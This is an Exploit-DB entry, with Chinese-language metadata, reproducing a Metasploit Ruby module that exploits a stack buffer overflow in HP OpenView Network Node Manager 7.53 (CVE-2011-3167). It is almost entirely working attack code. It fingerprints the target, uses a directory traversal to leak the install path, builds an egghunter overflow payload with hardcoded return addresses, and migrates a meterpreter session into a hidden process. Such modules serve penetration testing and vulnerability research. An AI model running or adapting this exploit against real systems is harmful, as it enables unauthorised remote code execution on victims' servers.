标题: HP OpenView Network Node Manager - 'ov.dll' _OVBuildPath Buffer Overflow (Metasploit) EDB-ID: 18388 CVE: 2011-3167 类型: REMOTE 平台: WINDOWS 发布日期: 2012-01-20 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Egghunter

 def initialize(info={})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP OpenView Network Node
    Manager 7.53 prior to NNM_01213 without the SSRT100649 hotfix. By specifying a long
    'textFile' argument when calling the 'webappmon.exe' CGI program, an attacker can
    cause a stack-based buffer overflow and execute arbitrary code.

    The vulnerable code is within the "_OVBuildPath" function within "ov.dll". There
    are no stack cookies, so exploitation is achieved by overwriting the saved return
    address.

    The vulnerability is due to the use of the function "_OVConcatPath" which finally
    uses "strcat" in a insecure way. User controlled data is concatenated to a string
    which contains the OpenView installation path.

    To achieve reliable exploitation a directory traversal in OpenView5.exe
    (OSVDB 44359) is being used to retrieve OpenView logs and disclose the installation
    path. If the installation path cannot be guessed the default installation path
    is used.
   } ,
   'Author'         =>
    [
     'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery
     'juan vazquez', # Metasploit module
     'sinn3r' # Metasploit fu
    ],
   'License'     => MSF_LICENSE,
   'References' =>
    [
     [ 'CVE', '2011-3167' ],
     [ 'OSVDB', '76775' ],
     [ 'BID', '50471' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-002/' ],
     [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03054052' ]
    ],
   'Payload'  =>
    {
     'Space' => 950,
     'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0b..0x23)].pack("C*") + [0x26, 0x2b, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f].pack("C*"),
     'DisableNops' => true,
     'EncoderOptions' =>
      {
       'BufferRegister'  => 'EDI' # Egghunter jmp edi
      }
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'HP OpenView Network Node Manager 7.53 / Windows 2000 SP4 & Windows XP SP3',
      # Patches installed:
      # * ECS_00048
      # * NNM_01128
      # * NNM_01172
      # * NNM_01187
      {
       'Offset'    => 1067,
       'Ret'       => 0x5a41656a, # pop/pop/ret - in ov.dll (v1.30.5.8002)
       'JmpESP'    => 0x5a4251c5, # call esp - in ov.dll
       'EggAdjust' => 4,
       'ReadableAddress' => 0x5a466930 # ov.dll
      }
     ]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Nov 01 2011'))

  register_options(
   [
    Opt::RPORT(80),
   ], self.class)
 end

 # The following code allows to migrate if having into account
 # that over Windows XP permissions aren't granted on %windir%\system32
 #
 # Code ripped from "modules/post/windows/manage/migrate.rb". See it
 # for more information
 def on_new_session(client)

  if client.type != "meterpreter"
   print_error("NOTE: you must use a meterpreter payload in order to process migration.")
   return
  end

  client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

  # Select path and executable to run depending the architecture
  # and the operating system
  if client.sys.config.sysinfo["OS"] =~ /Windows XP/
   windir = client.fs.file.expand_path("%ProgramFiles%")
   cmd="#{windir}\\Windows NT\\Accessories\\wordpad.exe"
  else # Windows 2000
   windir = client.fs.file.expand_path("%windir%")
   if client.sys.config.sysinfo['Architecture'] =~ /x86/
    cmd = "#{windir}\\System32\\notepad.exe"
   else
    cmd = "#{windir}\\Sysnative\\notepad.exe"
   end
  end

  # run hidden
  print_status("Spawning #{cmd.split("\\").last} process to migrate to")
  proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
  target_pid = proc.pid

  begin
   print_good("Migrating to #{target_pid}")
   client.core.migrate(target_pid)
   print_good("Successfully migrated to process #{target_pid}")
  rescue ::Exception => e
   print_error("Could not migrate in to process.")
   print_error(e.to_s)
  end

 end

 # Tries to guess the HP OpenView install dir via the Directory traversal identified
 # by OSVDB 44359.
 # If OSVDB 44359 doesn't allow to retrieve the installation path the default one
 # (C:\Program Files\HP OpenView\) is used.
 # Directory Traversal used:
 # http://host/OvCgi/OpenView5.exe?Context=Snmp&Action=../../../log/setup.log
 def get_install_path

  cgi = '/OvCgi/OpenView5.exe'
  web_session = rand_text_numeric(3)
  my_cookie = "OvOSLocale=English_United States.1252; "
  my_cookie << "OvAcceptLang=en-US; "
  my_cookie << "OvJavaLocale=en_US.Cp1252; "
  my_cookie << "OvWebSession=#{web_session}:AnyUser:"

  payload = "../../../log/setup.log"
  res = send_request_cgi({
   'uri'    => cgi,
   'cookie' => my_cookie,
   'method'   => "GET",
   'vars_get' =>
    {
     'Target' => "Main",
     'Scope' => "Snmp",
     'Action' => payload
    }
  }, 5)

  installation_path = ""
  if res and res.code == 200 and
    res.body =~ /([A-Z]:\\.*\\)log/
   print_status("Installation Path Found in #{$1}")
   installation_path = $1
  else
   print_status("Installation Path Not Found using the default")
   installation_path = "C:\\Program Files\\HP OpenView\\"
  end

  return installation_path
 end

 def exploit
  print_status("Trying target #{target.name}...")

  install_path = get_install_path
  install_path << "help\\English_United States.1252"

  eggoptions = {
   :checksum => true,
  }
  hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

  [ 'x86/alpha_mixed'].each { |name|
   enc = framework.encoders.create(name)
   if name =~/alpha/
    # If control is transferred to the decoder via "call esp" BufferOfset
    # shoulds be adjusted.
    if target["EggAdjust"] and target["EggAdjust"] > 0
     enc_options = {
      'BufferRegister' => 'ESP',
      'BufferOffset' => target["EggAdjust"]
     }
     enc.datastore.import_options_from_hash(enc_options)
    else
     enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
    end
   end
   hunter = enc.encode(hunter, nil, nil, platform)
  }

  offset = target['Offset'] - install_path.length - egg.length

  my_payload = egg
  my_payload << rand_text_alphanumeric(offset)
  my_payload << [target.ret].pack("V")
  my_payload << rand_text_alphanumeric(4) # Padding
  my_payload << [target["ReadableAddress"]].pack("V")
  my_payload << [target["JmpESP"]].pack("V")
  my_payload << hunter

  buf = "-textFile+#{my_payload}+++++++++++++++++++++++"
  buf << "-appendSelectList+-appendSelectListToTitle+%09%09++++++"
  buf << "-commandHeading+%22Protocol+++++++++Port++++++++Service%22+++++++++++++++++++++++"
  buf << "-dataLine+2+"
  buf << "-commandTitle+%22Services%22+%09%09++++++"
  buf << "-iconName+%22Services%22+++++++++++++++++++++++"
  buf << "-cmd+rnetstat+"
  buf << "-S"

  web_session = rand_text_numeric(3)
  my_cookie = "OvOSLocale=English_United States.1252; "
  my_cookie << "OvAcceptLang=en-US; "
  my_cookie << "OvJavaLocale=en_US.Cp1252; "
  my_cookie << "OvWebSession=#{web_session}:AnyUser:"

  cgi = '/OvCgi/webappmon.exe'

  res = send_request_cgi({
   'uri'       => cgi,
   'cookie'    => my_cookie,
   'method'    => "POST",
   'vars_post' =>
    {
     'ins' => 'nowait',
     'sel' => rand_text_alphanumeric(15),
     'app' => 'IP Tables',
     'act' => 'Services',
     'help' => '',
     'cache' => rand_text_numeric(4)
    },
   'data' => "arg=#{buf}" # Avoid uri encoding
  }, 3)

  if res and res.code != 502
   print_error("Eek! We weren't expecting a response, but we got one")
   if datastore['DEBUG']
    print_line()
    print_error(res.inspect)
   end
  end

  handler

 end

end

=begin

* migrate to %windir%/system32/notepad.exe fails on Windows XP SP3

meterpreter > run post/windows/manage/migrate

[*] Running module against HOME-F006222D6C
[*] Current server process: webappmon.exe (7064)
[*] Spawning notepad.exe process to migrate to
[-] Post failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
[-] Call stack:
[-]   /projects/exploiting/trunk/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb:163:in `execute'
[-]   (eval):80:in `create_temp_proc'
[-]   (eval):49:in `run'
=end URL: https://www.exploit-db.com/exploits/18388